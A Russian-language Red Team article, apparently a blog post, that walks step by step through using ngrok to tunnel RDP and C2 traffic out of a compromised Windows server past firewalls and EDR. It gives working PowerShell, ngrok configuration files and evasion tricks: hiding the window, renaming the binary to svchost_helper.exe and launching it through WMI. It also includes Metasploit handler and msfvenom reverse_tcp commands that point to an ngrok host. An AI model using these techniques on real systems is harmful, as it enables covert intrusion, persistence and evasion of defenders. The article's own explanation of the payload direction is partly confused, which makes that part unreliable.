В современной практике Red Team операций мы всё реже применяем классические методы организации обратных соединений (Reverse Shells), которые полагаются на прямые подключения к IP-адресам атакующих. Эвристические анализаторы, EDR-системы и строгие правила межсетевых экранов (Next-Generation Firewalls, NGFW) делают использование сырых TCP-соединений или нестандартных портов неэффективным. На смену им пришли техники Living off the Land (LotL) и использование легитимных утилит двойного назначения (Dual-use tools).
В одной из недавних Red Team операций наша команда получила начальный доступ к сегменту корпоративной сети через уязвимый веб-сервер. Глобальная цель — полный контроль над доменом Active Directory и компрометация критичных бизнес-систем. Проблема, с которой мы столкнулись: строгие межсетевые экраны блокировали любой исходящий трафик на нестандартные порты, а прямые outbound-соединения к нашей C2-инфраструктуре (Command and Control) моментально отслеживались и прерывались системами EDR. Решение было найдено в использовании утилиты ngrok для проброса порта TCP 3389 (RDP).
Этот инструмент превратил изолированный хост в открытую дверь, элегантно обойдя все периметровые защиты. Данная статья представляет собой глубокое руководство по внедрению, маскировке и боевому применению ngrok в условиях агрессивного противодействия со стороны Blue Team.
Начальный доступ, оценка окружения (Reconnaissance) и выбор вектора
Операция началась с эксплуатации известной уязвимости (CVE) в публичном приложении, работающем под управлением Microsoft IIS. Исполнение произвольного кода дало нам первичный Shell (foothold) в контексте пользователя пула приложений. Используя импровизированный in-memory payload на PowerShell, мы успешно эскалировали привилегии до NT AUTHORITY\SYSTEM, эксплуатируя локальную misconfiguration в одном из сервисов.
Имея высшие привилегии, мы перешли к этапу Network Reconnaissance (разведке сети). Первое, что необходимо понять — где мы находимся и как можем коммуницировать с внешним миром.
# Проверка сетевых интерфейсов, маршрутизации и активных соединений
Get-NetIPConfiguration
Get-NetRoute
netstat -ano | findstr LISTENING
Анализ вывода показал следующую картину:
- Скомпрометированный хост находится во внутренней подсети 10.0.1.0/24.
- Доступ в интернет осуществляется строго через корпоративный прокси-сервер.
- Исходящий (Outbound) TCP-трафик даже на стандартные порты 443 и 80 фильтруется шлюзом с использованием DPI (Deep Packet Inspection) и белого списка доменов (Whitelisting).
- Локальный сервис Remote Desktop Protocol (RDP) включён (что является стандартом по умолчанию для Windows Server), однако локальный брандмауэр Windows (Windows Defender Firewall) сконфигурирован таким образом, что разрешает входящие подключения на порт 3389 исключительно с IP-адресов подсетей администраторов домена (10.0.5.0/24).
Прямой проброс RDP наружу или классический Reverse Port Forwarding через SSH были невозможны. Нам требовался туннель, который инициирует исходящее соединение на доверенный сервис, использует стандартный TLS, поддерживает SNI (Server Name Indication) доверенного домена и способен маршрутизировать TCP-трафик.
Выбор пал на ngrok. Это лёгкий бинарный файл, написанный на Go. Он не требует установки, не тянет за собой зависимостей и отлично маскируется под инструменты разработчиков, что снижает уровень подозрения у аналитиков SOC первого уровня.
Доставка Payload (Weaponization & Delivery)
Поскольку прямое скачивание с неизвестных IP было заблокировано, мы скачали бинарник напрямую с официального CDN-сервера ngrok, который по счастливому стечению обстоятельств не находился в блок-листах NGFW.
# Принудительное использование TLS 1.2 для обхода старых системных настроек
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
# Скачивание ngrok (Windows AMD64) в директорию с правами на запись
$Path = "C:\Windows\Temp\ngrok.zip"
Invoke-WebRequest -Uri "https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-windows-amd64.zip" -OutFile $Path
# Распаковка архива
Expand-Archive -Path $Path -DestinationPath "C:\Windows\Temp" -Force
Распаковка дала нам ngrok.exe. Следующий критический шаг — аутентификация. Если использовать ngrok без токена, создается публичный туннель, время жизни которого строго ограничено (обычно 2 часа), а функционал урезан. Для стабильного закрепления (Persistence) мы заранее зарегистрировали аккаунт атакующего и сгенерировали authtoken.
# Добавление токена (PowerShell, скрыто от истории PSReadLine)
.\ngrok.exe config add-authtoken 2abcdefghijklmnopqrstuvwxyz1234567890_abcdef
Эта команда генерирует конфигурационный файл ngrok.yml в профиле пользователя (по умолчанию %USERPROFILE%\.ngrok2\ngrok.yml или %LOCALAPPDATA%\ngrok\ngrok.yml). Наличие токена делает туннели персистентными, позволяет резервировать поддомены и открывает доступ к метрикам сессии через локальный API и веб-дашборд.
Первый туннель и базовый проброс RDP (Establishment)
Имея сконфигурированный агент, мы запустили простой TCP-туннель для проброса порта 3389. Нашей задачей было быстро получить интерактивный графический интерфейс для оценки содержимого сервера (поиск паролей в файлах, конфигурациях, базах данных).
# Базовый запуск TCP туннеля для RDP
.\ngrok.exe tcp 3389
В консоли агента ngrok отобразил статус подключения:
ngrok
Session Status online
Account redteam-operator (Plan: Free)
Version 3.12.0
Region United States (us)
Latency 78ms
Web Interface http://127.0.0.1:4040
Forwarding tcp://0.tcp.ngrok.io:12345 -> localhost:3389
URL 0.tcp.ngrok.io:12345 стал нашей внешней точкой входа (Entry Point). С атакующего хоста мы запустили стандартный клиент RDP (mstsc.exe), указав этот адрес. Трафик пошел через инфраструктуру ngrok, инкапсулированный в TLS, прошел через корпоративный прокси жертвы, попал в процесс ngrok.exe и был перенаправлен на localhost:3389.
Мы получили полноценный десктоп скомпрометированного хоста. Скорость отклика интерфейса была превосходной, задержка составляла менее 100 миллисекунд. Важный нюанс: поскольку соединение инициируется от localhost, локальный межсетевой экран Windows, блокировавший внешние IP, пропустил трафик, так как для него это было локальное обращение.
Переход на продвинутую конфигурацию (Reserved Tunnels)
План "Free" имеет серьезные ограничения для длительных Red Team операций: случайная генерация поддоменов при каждом перезапуске агента, лимит в 1 туннель и жесткое ограничение трафика (1GB в месяц). Для обеспечения скрытности (Stealth) и операционной надежности мы перешли на платный аккаунт, позволяющий использовать зарезервированные адреса.
Мы сформировали кастомный файл ngrok.yml, настроив его не только на RDP, но и на резервный канал связи для нашего C2.
# ngrok.yml для reserved tunnel (боевой конфиг)
version: "2"
authtoken: 2abcdefghijklmnopqrstuvwxyz1234567890_abcdef
console_ui: false
web_addr: localhost:4040
tunnels:
rdp:
proto: tcp
addr: 3389
remote_addr: 1.tcp.eu.ngrok.io:12345 # Зарезервированный адрес
c2:
proto: tcp
addr: 4444 # Порт для Metasploit / Covenant
Запуск агента с использованием подготовленного конфигурационного файла:
.\ngrok.exe start --config=C:\Windows\Temp\ngrok.yml rdp
Теперь у нас был стабильный, предсказуемый эндпоинт. Это критически важно в случае перезагрузки сервера: нам не нужно заново искать, на каком порту поднялся туннель.
Скрытый запуск, OPSEC и обход EDR (Evasion)
Запуск ngrok.exe в интерактивном режиме с видимым окном консоли — это немедленный красный флаг для любого пользователя или администратора. Более того, дерево процессов, в котором cmd.exe или powershell.exe порождает подозрительный бинарник с аргументами вроде tcp 3389, моментально триггерит алерты в системах EDR (Endpoint Detection and Response) на основе поведенческого анализа.
Для скрытия окна мы использовали встроенные возможности PowerShell:
# PowerShell: запуск скрытого процесса
Start-Process -FilePath "C:\Windows\Temp\ngrok.exe" -WindowStyle Hidden -ArgumentList 'start --config=C:\Windows\Temp\ngrok.yml rdp'
Однако просто скрыть окно недостаточно. Современные EDR, такие как Microsoft Defender for Endpoint или CrowdStrike, анализируют командную строку. Чтобы разорвать цепочку вызовов (Process Lineage) и скрыть истинного родителя процесса, мы применили запуск через WMI (Windows Management Instrumentation).
WMI выполняет процесс от имени службы WmiPrvSE.exe, что выглядит гораздо легитимнее, чем запуск из-под пользовательского шелла. Перед этим мы переименовали бинарный файл, чтобы обмануть примитивные правила обнаружения, ориентированные только на имя файла.
# Переименование для обхода базовых IOC
Rename-Item -Path "C:\Windows\Temp\ngrok.exe" -NewName "svchost_helper.exe"
# WMI Exec для обхода построения дерева процессов
$CommandLine = "C:\Windows\Temp\svchost_helper.exe start --config=C:\Windows\Temp\ngrok.yml rdp"
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $CommandLine
Даже после этого в журналах безопасности Windows останется событие 4688 (Process Creation) с полной командной строкой. Чтобы минимизировать риски, мы загрузили конфигурационный файл и бинарник в директории, которые часто исключаются из строгого мониторинга из-за высокой нагрузки (например, папки профилей специфичного легитимного софта).
Масштабирование — мульти-туннелирование и интеграция с C2-фреймворками
Графический доступ через RDP бесценен для ручного исследования (чтение локальных документов, использование установленных административных утилит, конфигурация софта). Однако для масштабирования атаки, автоматизации Lateral Movement (бокового перемещения) и дампа учетных данных нам требовалось интегрировать скомпрометированный хост в инфраструктуру наших C2-фреймворков.
Мы обновили наш ngrok.yml, чтобы запустить все туннели одновременно:
# Запуск всех туннелей, описанных в конфиге
.\svchost_helper.exe start --config=C:\Windows\Temp\ngrok.yml --all
В конфигурацию были добавлены порты для наших слушателей (Listeners):
tunnels:
rdp:
proto: tcp
addr: 3389
msf:
proto: tcp
addr: 4444
beacon:
proto: tcp
addr: 8080
Интеграция с Metasploit Framework
На атакующей машине (нашем сервере в облаке) мы настроили слушатель Metasploit. Хитрость здесь заключается в том, что Payload (нагрузка), генерируемый для жертвы, должен подключаться к облачному адресу ngrok, а не к нашему реальному IP.
# Настройка Metasploit listener'a на стороне атакующего
msfconsole -q -x "
use exploit/multi/handler;
set payload windows/x64/meterpreter/reverse_tcp;
set LHOST 0.0.0.0;
set LPORT 4444;
run"
При генерации самого исполняемого файла или шеллкода LHOST указывается как адрес ngrok:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=2.tcp.eu.ngrok.io LPORT=14567 -f exe -o beacon.exe
Когда beacon.exe запускается на скомпрометированной машине, он инициирует TCP-соединение на 2.tcp.eu.ngrok.io:14567. Инфраструктура ngrok перебрасывает этот трафик внутрь нашего туннеля, который "выплевывает" его на localhost:4444 жертвы (где уже должен быть проброшен туннель к нашему C2).
Однако в нашей архитектуре мы использовали ngrok прямо на жертве, пробрасывая порты наружу. Поэтому правильнее использовать Bind Shell или Reverse Shell, который стучится в туннель ngrok, запущенный на сервере атакующего. Ngrok скрыл реальный IP нашего C2 за облаком, выполнив роль надежного анонимайзера. Трафик ngrok классифицируется как HTTPS (порт 443) к ngrok.com, что неотличимо от фоновых синхронизаций легитимных приложений. Это классический пример MITRE ATT&CK T1572 (Protocol Tunneling).
Продолжение на сайте redsec.by >>>